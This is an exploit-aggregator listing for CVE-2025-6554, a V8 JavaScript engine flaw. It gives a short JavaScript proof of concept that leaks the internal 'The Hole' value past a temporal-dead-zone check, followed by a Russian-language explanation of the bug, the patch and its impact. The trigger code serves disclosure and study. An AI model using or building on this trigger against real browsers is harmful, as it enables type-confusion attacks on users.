Sploitus

Exploit for CVE-2025-6554

kitploit · 2026-08-25

Exploit Code

MARKDOWN32 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PWNTODAY-CVE-2025-6554
# CVE-2025-6554

root@kitploit:~
    
    
    function leak_hole() {
        let x;
        delete x?.[y]?.a;
        return y;
        let y;
    }
    function pwn() {
        let hole = leak_hole();
        %DebugPrint(hole);
    }
    pwn();
    

### Ошибка

Переменная y была доступна до объявления. Обычно это должно вызывать ReferenceError (TDZ), но в старых версиях V8 при комбинации с delete x?.[y] проверка не срабатывала и возвращала внутреннее значение-маркер "The Hole".

### До исправления

V8 проверял TDZ только один раз, а затем ошибочно предполагал, что y корректен. Это позволяло "The Hole" попасть в пользовательский код.

### Исправление

Патч заставляет выполнять новую проверку TDZ (ThrowReferenceErrorIfHole) при каждом доступе, гарантируя, что y до инициализации всегда вызывает исключение.

Воздействие: Злоумышленники могут перехватить "The Hole" и использовать его для путаницы типов, манипуляций стеком или обхода областей видимости.